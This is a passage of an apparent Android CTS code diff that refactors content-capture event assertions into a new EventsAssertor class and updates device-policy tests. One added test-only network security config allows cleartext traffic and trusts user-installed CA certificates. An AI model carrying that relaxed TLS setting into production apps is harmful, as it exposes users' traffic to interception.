-        assertViewTreeFinished(events, 7);
-        assertViewTreeStarted(events, 8);
-        assertViewDisappeared(events, 9, child.getAutofillId());
-        assertViewTreeFinished(events, 10);
-        assertSessionPaused(events, 11);
+        new EventsAssertor(events)
+                .isAtLeast(12)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared(grandpa2, decorView.getAutofillId())
+                .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+                .assertViewAppeared(sessionId, rootView, grandpa1.getAutofillId())
+                .assertViewAppeared(sessionId, child, rootId)
+                .assertViewTreeFinished()
+                .assertViewTreeStarted()
+                .assertViewDisappeared(child.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
 
         // TODO(b/122315042): assert parents disappeared
     }
@@ -360,15 +357,14 @@
         final View grandpa = activity.getGrandParent();
 
         // Assert just the relevant events
-
-        assertThat(events.size()).isAtLeast(6);
-        // TODO(b/122959591): figure out the child is coming first
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertViewAppeared(events, 2, sessionId, child, rootView.getAutofillId());
-        assertViewAppeared(events, 3, sessionId, rootView, grandpa.getAutofillId());
-        assertViewTreeFinished(events, 4);
-        assertSessionPaused(events, 5);
+        new EventsAssertor(events)
+                .isAtLeast(6)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertViewAppeared(sessionId, child, rootView.getAutofillId())
+                .assertViewAppeared(sessionId, rootView, grandpa.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 
     @Test
@@ -410,22 +406,25 @@
         final List<ContentCaptureEvent> mainEvents = mainTestSession.getEvents();
         Log.v(TAG, "mainEvents(" + mainEvents.size() + "): " + mainEvents);
 
-        assertThat(mainEvents.size()).isAtLeast(5);
-        assertSessionResumed(mainEvents, 0);
-        assertViewTreeStarted(mainEvents, 1);
-        assertViewAppeared(mainEvents, 2, mainSessionId, rootView, grandpa.getAutofillId());
-        assertViewTreeFinished(mainEvents, 3);
-        assertSessionPaused(mainEvents, 4);
+        new EventsAssertor(mainEvents)
+                .isAtLeast(5)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertViewAppeared(mainSessionId, rootView, grandpa.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
 
         final Session childTestSession = service.getFinishedSession(childSessionId);
         assertChildSessionContext(childTestSession, "child");
         final List<ContentCaptureEvent> childEvents = childTestSession.getEvents();
         Log.v(TAG, "childEvents(" + childEvents.size() + "): " + childEvents);
         final int minEvents = 3;
-        assertThat(childEvents.size()).isAtLeast(minEvents);
-        assertViewTreeStarted(childEvents, 0);
-        assertViewAppeared(childEvents, 1, childSessionId, child, rootView.getAutofillId());
-        assertViewTreeFinished(childEvents, 2);
+        new EventsAssertor(childEvents)
+                .isAtLeast(3)
+                .assertViewTreeStarted()
+                .assertViewAppeared(childSessionId, child, rootView.getAutofillId())
+                .assertViewTreeFinished();
+
         // TODO(b/122315042): assert parents disappeared
     }
 
@@ -728,37 +727,40 @@
         final AutofillId rootId = rootView.getAutofillId();
         final View grandpa = activity.getGrandParent();
 
-        assertThat(mainEvents).hasSize(8);
-        assertSessionResumed(mainEvents, 0);
-        assertViewTreeStarted(mainEvents, 1);
-        assertViewAppeared(mainEvents, 2, rootView, grandpa.getAutofillId());
-        assertViewTreeFinished(mainEvents, 3);
-        assertSessionPaused(mainEvents, 4); // TODO(b/122959591): investigate why
-        assertViewTreeStarted(mainEvents, 5);
-        assertViewDisappeared(mainEvents, 6, rootId);
-        assertViewTreeFinished(mainEvents, 7);
+        new EventsAssertor(mainEvents)
+                .isAtLeast(8)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertViewAppeared(rootView, grandpa.getAutofillId())
+                .assertViewTreeFinished()
+                .assertSessionPaused()
+                .assertViewTreeStarted()
+                .assertViewDisappeared(rootId)
+                .assertViewTreeFinished();
 
-        assertThat(events1).hasSize(3);
-        assertViewTreeStarted(events1, 0);
-        assertViewAppeared(events1, 1, s1c1, rootId);
-        assertViewTreeFinished(events1, 2);
+        new EventsAssertor(events1)
+                .isAtLeast(3)
+                .assertViewTreeStarted()
+                .assertViewAppeared(s1c1, rootId)
+                .assertViewTreeFinished();
 
-        assertThat(events2.size()).isAtLeast(4);
-        assertViewTreeStarted(events2, 0);
-        assertViewAppeared(events2, 1, s2c1, rootId);
-        assertViewAppeared(events2, 2, s2c2, rootId);
-        assertViewTreeFinished(events2, 3);
-        // TODO(b/122315042): assert parents disappeared
+        new EventsAssertor(events2)
+                .isAtLeast(4)
+                .assertViewTreeStarted()
+                .assertViewAppeared(s2c1, rootId)
+                .assertViewAppeared(s2c2, rootId)
+                .assertViewTreeFinished();
 
-        assertThat(events3).hasSize(8);
-        assertViewTreeStarted(events3, 0);
-        assertViewAppeared(events3, 1, s3c1, rootId);
-        assertViewAppeared(events3, 2, s3c2, rootId);
-        assertViewTreeFinished(events3, 3);
-        assertViewTreeStarted(events3, 4);
-        assertViewDisappeared(events3, 5, s3c1.getAutofillId());
-        assertViewAppeared(events3, 6, s3c3, rootId);
-        assertViewTreeFinished(events3, 7);
+        new EventsAssertor(events3)
+                .isAtLeast(8)
+                .assertViewTreeStarted()
+                .assertViewAppeared(s3c1, rootId)
+                .assertViewAppeared(s3c2, rootId)
+                .assertViewTreeFinished()
+                .assertViewTreeStarted()
+                .assertViewDisappeared(s3c1.getAutofillId())
+                .assertViewAppeared(s3c3, rootId)
+                .assertViewTreeFinished();
 
         final Session childTestSession4 = service.getFinishedSession(childSessionId4);
         assertChildSessionContext(childTestSession4, "session4");
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
index 74429de..ad79e02 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/CustomViewActivityTest.java
@@ -15,17 +15,9 @@
  */
 package android.contentcaptureservice.cts;
 
-import static android.contentcaptureservice.cts.Assertions.assertDecorViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
-import static android.contentcaptureservice.cts.Assertions.assertSessionPaused;
-import static android.contentcaptureservice.cts.Assertions.assertSessionResumed;
-import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertViewTextChanged;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeFinished;
-import static android.contentcaptureservice.cts.Assertions.assertViewTreeStarted;
-import static android.contentcaptureservice.cts.Assertions.assertViewWithUnknownParentAppeared;
 import static android.contentcaptureservice.cts.Assertions.assertVirtualViewAppeared;
-import static android.contentcaptureservice.cts.Assertions.assertVirtualViewDisappeared;
 import static android.contentcaptureservice.cts.Assertions.assertVirtualViewsDisappeared;
 import static android.contentcaptureservice.cts.Helper.MY_PACKAGE;
 import static android.contentcaptureservice.cts.Helper.NO_ACTIVITIES;
@@ -149,24 +141,19 @@
         Log.v(TAG, "events(" + events.size() + "): " + events);
         final int additionalEvents = 2;
 
-        assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
-
-        // Assert just the relevant events
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
-        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-
-        // Assert for session lifecycle events.
-        assertSessionResumed(events, 5);
-        assertSessionPaused(events, 6);
-
-        assertViewWithUnknownParentAppeared(events, 7, session.id, customViewRef.get());
-        assertViewTreeFinished(events, 8);
-        assertSessionPaused(events, 9);
-
-        activity.assertInitialViewsDisappeared(events, additionalEvents);
+        new EventsAssertor(events)
+                .isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared(grandpa2, decorView.getAutofillId())
+                .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+                // Assert for session lifecycle events.
+                .assertSessionResumed()
+                .assertSessionPaused()
+                .assertViewAppeared(session.id, customViewRef.get())
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 
     /**
@@ -218,27 +205,20 @@
         final List<ContentCaptureEvent> events = session.getEvents();
         Log.v(TAG, "events(" + events.size() + "): " + events);
         final int additionalEvents = 2;
-
-        assertThat(events.size()).isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents);
-
-        // Assert just the relevant events
-        assertSessionResumed(events, 0);
-        assertViewTreeStarted(events, 1);
-        assertDecorViewAppeared(events, 2, decorView);
-        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
-        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
-
         final ContentCaptureSession mainSession = activity.mCustomView.getContentCaptureSession();
-        assertVirtualViewAppeared(events, 5, mainSession, customViewId, 1, "child");
-        assertVirtualViewDisappeared(events, 6, customViewId, mainSession, 1);
 
-        // This is the "wrong" part - the parent is notified last
-        assertViewWithUnknownParentAppeared(events, 7, session.id, activity.mCustomView);
-
-        assertViewTreeFinished(events, 8);
-        assertSessionPaused(events, 9);
-
-        activity.assertInitialViewsDisappeared(events, additionalEvents);
+        new EventsAssertor(events)
+                .isAtLeast(CustomViewActivity.MIN_EVENTS + additionalEvents)
+                .assertSessionResumed()
+                .assertViewTreeStarted()
+                .assertDecorViewAppeared(decorView)
+                .assertViewAppeared(grandpa2, decorView.getAutofillId())
+                .assertViewAppeared(grandpa1, grandpa2.getAutofillId())
+                .assertVirtualViewAppeared(mainSession, customViewId, 1, "child")
+                .assertVirtualViewDisappeared(customViewId, mainSession, 1)
+                .assertViewAppeared(session.id, activity.mCustomView)
+                .assertViewTreeFinished()
+                .assertSessionPaused();
     }
 
     /**
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
new file mode 100644
index 0000000..d00b031
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/EventsAssertor.java
@@ -0,0 +1,390 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertSessionId;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+import android.view.contentcapture.ContentCaptureSession;
+import android.view.contentcapture.ContentCaptureSessionId;
+import android.view.contentcapture.ViewNode;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Used to assert Content Capture events by the event order.
+ *
+ * When the type is the same, the assertor will assert the content of the event.
+ * If the current event is different type, this event will be skipped, and then
+ * try to assert the next event. Through all events, the assertor will report an
+ * "not found" error.
+ */
+public class EventsAssertor {
+    private static final String TAG = "CtsContentCapture";
+    private final List<ContentCaptureEvent> mEvents;
+    private int mNextEvent = 0;
+
+    public EventsAssertor(@NonNull List<ContentCaptureEvent> events) {
+        mEvents = Collections.unmodifiableList(events);
+    }
+
+    @NonNull
+    public EventsAssertor isAtLeast(int size) {
+        assertThat(mEvents.size()).isAtLeast(size);
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_SESSION_RESUMED} event.
+     */
+    @NonNull
+    public EventsAssertor assertSessionResumed() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_SESSION_RESUMED, "no SESSION_RESUMED event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_SESSION_PAUSED} event.
+     */
+    @NonNull
+    public EventsAssertor assertSessionPaused() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_SESSION_PAUSED, "no SESSION_PAUSED event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_TREE_APPEARING} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewTreeStarted() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_VIEW_TREE_APPEARING, "no VIEW_TREE_APPEARING event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_TREE_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewTreeFinished() {
+        assertNextEvent((event) -> assertSessionLevelEvent(event),
+                ContentCaptureEvent.TYPE_VIEW_TREE_APPEARED,
+                "no VIEW_TREE_APPEARED event");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event for a decor view.
+     *
+     * <P>The decor view is typically internal, so there isn't much we can assert,
+     * other than its autofill id.
+     */
+    @NonNull
+    public EventsAssertor assertDecorViewAppeared(@NonNull View expectedDecorView) {
+        assertNextEvent((event) -> assertEventId(event, expectedDecorView),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                "no VIEW_APPEARED event for decor view");
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event, without checking for parent id.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull View expectedView) {
+        assertNextEvent((event) -> assertViewEvent(event, expectedView),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no VIEW_APPEARED event for %s", expectedView));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull View expectedView,
+            @NonNull AutofillId expectedParentId) {
+        assertNextEvent((event) -> assertViewEvent(event, expectedView, expectedParentId),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no VIEW_APPEARED event for %s", expectedView));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull ContentCaptureSessionId expectedSessionId,
+            @NonNull View expectedView, @NonNull AutofillId expectedParentId) {
+        assertViewAppeared(expectedView, expectedParentId);
+        assertSessionId(expectedSessionId, expectedView);
+        return this;
+    }
+
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED} event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull ContentCaptureSessionId expectedSessionId,
+            @NonNull View expectedView) {
+        assertViewAppeared(expectedView);
+        assertSessionId(expectedSessionId, expectedView);
+        return this;
+    }
+
+    /**
+     * Asserts the {@code text} of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event.
+     */
+    @NonNull
+    public EventsAssertor assertViewAppeared(@NonNull String text) {
+        assertNextEvent((event) -> assertEventText(event, text),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no TYPE_VIEW_APPEARED event with text: %s", text));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+     * event for multiple views.
+     */
+    @NonNull
+    public EventsAssertor assertViewDisappeared(@NonNull AutofillId autofillId) {
+        assertNextEvent((event) -> assertDisappearedEvent(event, autofillId),
+                ContentCaptureEvent.TYPE_VIEW_DISAPPEARED,
+                String.format("no VIEW_DISAPPEARED event for %s", autofillId));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+     * event for multiple views.
+     */
+    @NonNull
+    public EventsAssertor assertViewDisappeared(@NonNull AutofillId... autofillIds) {
+        assertNextEvent((event) -> assertDisappearedEvent(event, autofillIds),
+                ContentCaptureEvent.TYPE_VIEW_DISAPPEARED,
+                String.format("no VIEW_DISAPPEARED event for %s", Arrays.toString(autofillIds)));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_APPEARED}
+     * event for a virtual node.
+     */
+    @NonNull
+    public EventsAssertor assertVirtualViewAppeared(@NonNull ContentCaptureSession session,
+            @NonNull AutofillId parentId, int childId, String expectedText) {
+        final AutofillId expectedId = session.newAutofillId(parentId, childId);
+        assertNextEvent((event) -> assertVirtualViewEvent(event, expectedId, expectedText),
+                ContentCaptureEvent.TYPE_VIEW_APPEARED,
+                String.format("no VIEW_APPEARED event for %s", expectedId.toString()));
+        return this;
+    }
+
+    /**
+     * Asserts the contents of a {@link ContentCaptureEvent#TYPE_VIEW_DISAPPEARED}
+     * event for a virtual node.
+     */
+    @NonNull
+    public EventsAssertor assertVirtualViewDisappeared(AutofillId parentId,
+            ContentCaptureSession session, int childId) {
+        return assertViewDisappeared(session.newAutofillId(parentId, childId));
+    }
+
+    @Nullable
+    private String assertVirtualViewEvent(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId expectedId, @Nullable String expectedText) {
+        final ViewNode node = event.getViewNode();
+        assertThat(node).isNotNull();
+        assertWithMessage("wrong autofill id on %s", event)
+                .that(node.getAutofillId()).isEqualTo(expectedId);
+        if (expectedText != null) {
+            assertWithMessage("wrong text on %s", event)
+                    .that(node.getText().toString()).isEqualTo(expectedText);
+        } else {
+            assertWithMessage("%s should not have text", node)
+                    .that(node.getText()).isNull();
+        }
+        return null;
+    }
+
+    @Nullable
+    private String assertDisappearedEvent(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId expectedId) {
+        assertCommonViewDisappearedProperties(event);
+        assertWithMessage("wrong autofillId on event %s", event)
+                .that(event.getId()).isEqualTo(expectedId);
+        assertWithMessage("event %s should not have autofillIds", event)
+                .that(event.getIds()).isNull();
+        return null;
+    }
+
+    @Nullable
+    private String assertDisappearedEvent(@NonNull ContentCaptureEvent event,
+            @NonNull AutofillId[] expectedIds) {
+        final List<AutofillId> ids = event.getIds();
+
+        assertCommonViewDisappearedProperties(event);
+        assertWithMessage("no autofillIds on event %s", event).that(ids)
+                .isNotNull();
+        assertWithMessage("wrong autofillId on event %s", event)
+                .that(ids).containsExactly((Object[]) expectedIds).inOrder();
+        assertWithMessage("event %s should not have autofillId", event)
+                .that(event.getId()).isNull();
+        return null;
+    }
+
+    private void assertCommonViewDisappearedProperties(@NonNull ContentCaptureEvent event) {
+        assertWithMessage("event %s should not have a ViewNode", event)
+                .that(event.getViewNode()).isNull();
+        assertWithMessage("event %s should not have text", event)
+                .that(event.getText()).isNull();
+    }
+
+    @Nullable
+    private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView) {
+        return assertViewEvent(event, expectedView, /* expectedParentId */ null);
+    }
+
+    @Nullable
+    private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView,
+            @Nullable AutofillId expectedParentId) {
+        assertEvent(event, expectedView, expectedParentId, /* expectedText */  null);
+        return null;
+    }
+
+    @Nullable
+    private String assertViewEvent(@NonNull ContentCaptureEvent event, @NonNull View expectedView,
+            AutofillId expectedParentId, String expectedText) {
+        assertEvent(event, expectedView, expectedParentId, expectedText);
+        return null;
+    }
+
+    private String assertEventId(@NonNull ContentCaptureEvent event, View expectedView) {
+        final ViewNode node = event.getViewNode();
+
+        if (node == null) {
+            return String.format("node is null at %s", event);
+        }
+
+        if (expectedView != null && !node.getAutofillId().equals(expectedView.getAutofillId())) {
+            return String.format("wrong event id (expected %s, actual is %s) at %s",
+                    expectedView.getAutofillId(), node.getAutofillId(), event);
+        }
+        return null;
+    }
+
+    private String assertEventText(@NonNull ContentCaptureEvent event, String expectedText) {
+        final ViewNode node = event.getViewNode();
+        if (node == null) {
+            return String.format("node is null at %s", event);
+        }
+
+        if (!TextUtils.equals(node.getText(), expectedText)) {
+            return String.format("wrong event text (expected %s, actual is %s) at %s",
+                    expectedText, node.getText(), event);
+        }
+        return null;
+    }
+
+    private void assertEvent(@NonNull ContentCaptureEvent event, @Nullable View expectedView,
+            @Nullable AutofillId expectedParentId, @Nullable String expectedText) {
+        final ViewNode node = event.getViewNode();
+
+        assertThat(node).isNotNull();
+        assertWithMessage("wrong class on %s", event).that(node.getClassName())
+                .isEqualTo(expectedView.getClass().getName());
+        assertWithMessage("wrong autofill id on %s", event).that(node.getAutofillId())
+                .isEqualTo(expectedView.getAutofillId());
+
+        if (expectedParentId != null) {
+            assertWithMessage("wrong parent autofill id on %s", event)
+                    .that(node.getParentAutofillId()).isEqualTo(expectedParentId);
+        }
+
+        if (expectedText != null) {
+            assertWithMessage("wrong text on %s", event).that(node.getText().toString())
+                    .isEqualTo(expectedText);
+        }
+    }
+
+    @Nullable
+    private String assertSessionLevelEvent(@NonNull ContentCaptureEvent event) {
+        assertWithMessage("event %s should not have a ViewNode", event)
+                .that(event.getViewNode()).isNull();
+        assertWithMessage("event %s should not have text", event)
+                .that(event.getText()).isNull();
+        assertWithMessage("event %s should not have an autofillId", event)
+                .that(event.getId()).isNull();
+        assertWithMessage("event %s should not have autofillIds", event)
+                .that(event.getIds()).isNull();
+        return null;
+    }
+
+    private void assertNextEvent(@NonNull EventAssertion assertion, int expectedType,
+            @NonNull String errorFormat, @Nullable Object... errorArgs) {
+        if (mNextEvent >= mEvents.size()) {
+            throw new AssertionError("Reached the end of the events: "
+                    + String.format(errorFormat, errorArgs) + "\n. Events("
+                    + mEvents.size() + "): " + mEvents);
+        }
+        do {
+            final int index = mNextEvent++;
+            final ContentCaptureEvent event = mEvents.get(index);
+            if (event.getType() != expectedType) {
+                Log.w(TAG, "assertNextEvent(): ignoring event #" + index + "(" + event + ")");
+                continue;
+            }
+            // If returns an error message from getErrorMessage(), means the error can be ignored.
+            // The test will assert nex event.
+            // If directly throws AssertionError or exception, means the error cannot be ignored.
+            // The test will stop immediately.
+            final String error = assertion.getErrorMessage(event);
+            if (error == null) {
+                Log.d(TAG, "assertNextEvent(): match event in #" + index + ".");
+                return;
+            }
+            Log.w(TAG, "assertNextEvent(): ignoring event #" + index + "(" + event + "): "
+                    + error);
+        } while (mNextEvent < mEvents.size());
+        throw new AssertionError(String.format(errorFormat, errorArgs) + "\n. Events("
+                + mEvents.size() + "): " + mEvents);
+    }
+
+    private interface EventAssertion {
+        @Nullable
+        String getErrorMessage(@NonNull ContentCaptureEvent event);
+    }
+}
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
index 5ca3e7b..638eb77 100644
--- a/tests/devicepolicy/AndroidManifest.xml
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -20,7 +20,9 @@
           android:targetSandboxVersion="2">
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application android:testOnly="true">
+    <!-- Add a network security config that trusts user added CAs for tests -->
+    <application android:testOnly="true"
+                 android:networkSecurityConfig="@xml/network_security_config">
         <uses-library android:name="android.test.runner" />
 
         <activity android:name=".MainActivity"
diff --git a/tests/devicepolicy/OWNERS b/tests/devicepolicy/OWNERS
index b37176e..19b6194 100644
--- a/tests/devicepolicy/OWNERS
+++ b/tests/devicepolicy/OWNERS
@@ -1,7 +1,2 @@
 # Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/tests/devicepolicy/res/xml/network_security_config.xml b/tests/devicepolicy/res/xml/network_security_config.xml
new file mode 100644
index 0000000..de3cdfa
--- /dev/null
+++ b/tests/devicepolicy/res/xml/network_security_config.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<network-security-config>
+    <base-config cleartextTrafficPermitted="true">
+        <trust-anchors>
+            <certificates src="user" />
+        </trust-anchors>
+    </base-config>
+</network-security-config>
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
index 66b3916..b567e77 100644
--- a/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AccountManagementTest.java
@@ -42,9 +42,9 @@
 import com.android.bedstead.harrier.policies.AccountManagement;
 import com.android.bedstead.nene.TestApis;
 import com.android.bedstead.nene.utils.Poll;
-import com.android.bedstead.remotedpc.RemoteDpc;
+import com.android.bedstead.remotedpc.RemotePolicyManager;
 import com.android.bedstead.testapp.TestApp;
-import com.android.bedstead.testapp.TestAppInstanceReference;
+import com.android.bedstead.testapp.TestAppInstance;
 import com.android.bedstead.testapp.TestAppProvider;
 
 import org.junit.Before;
@@ -85,8 +85,8 @@
 
     @Before
     public void setUp() {
-        RemoteDpc dpc = sDeviceState.dpc();
-        mAdmin = dpc.devicePolicyController().componentName();
+        RemotePolicyManager dpc = sDeviceState.dpc();
+        mAdmin = dpc.componentName();
         mDpm = dpc.devicePolicyManager();
         mAccountManager = sContext.getSystemService(AccountManager.class);
     }
@@ -100,7 +100,8 @@
 
     @Test
     @Postsubmit(reason = "new test")
-    @CannotSetPolicyTest(policy = AccountManagement.class)
+    // We don't include non device admin states as passing a null admin is a NullPointerException
+    @CannotSetPolicyTest(policy = AccountManagement.class, includeNonDeviceAdminStates = false)
     public void setAccountTypesWithManagementDisabled_invalidAdmin_throwsException() {
         assertThrows(OperationCanceledException.class, () ->
                 mDpm.setAccountManagementDisabled(
@@ -163,7 +164,7 @@
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithAccountManagementDisabled_accountAdded()
             throws OperationCanceledException, AuthenticatorException, IOException {
-        try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.setAccountManagementDisabled(mAdmin, EXISTING_ACCOUNT_TYPE, /* disabled= */ true);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
@@ -186,7 +187,7 @@
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_fromDpcWithDisallowModifyAccountsRestriction_accountAdded()
             throws OperationCanceledException, AuthenticatorException, IOException {
-        try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
@@ -209,7 +210,7 @@
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void removeAccount_fromDpcWithDisallowModifyAccountsRestriction_accountRemoved()
             throws OperationCanceledException, AuthenticatorException, IOException {
-        try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             // Management is disabled, but the DO/PO is still allowed to use the APIs
@@ -229,7 +230,7 @@
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_withDisallowModifyAccountsRestriction_throwsException()
             throws OperationCanceledException, AuthenticatorException, IOException {
-        try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
             assertThrows(OperationCanceledException.class, () ->
@@ -245,7 +246,7 @@
     public void removeAccount_withDisallowModifyAccountsRestriction_throwsException()
             throws OperationCanceledException, AuthenticatorException, IOException,
             InterruptedException {
-        try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
+        try (TestAppInstance accountAuthenticatorApp = sAccountManagementApp.install()) {
             addAccountWithType(EXISTING_ACCOUNT_TYPE);
             mDpm.addUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
 
@@ -261,7 +262,7 @@
     @Postsubmit(reason = "new test with sleep")
     @CanSetPolicyTest(policy = AccountManagement.class)
     public void addAccount_withAccountManagementDisabled_throwsException() {
-        try (TestAppInstanceReference accountAuthenticatorApp = sAccountManagementApp.install()) {
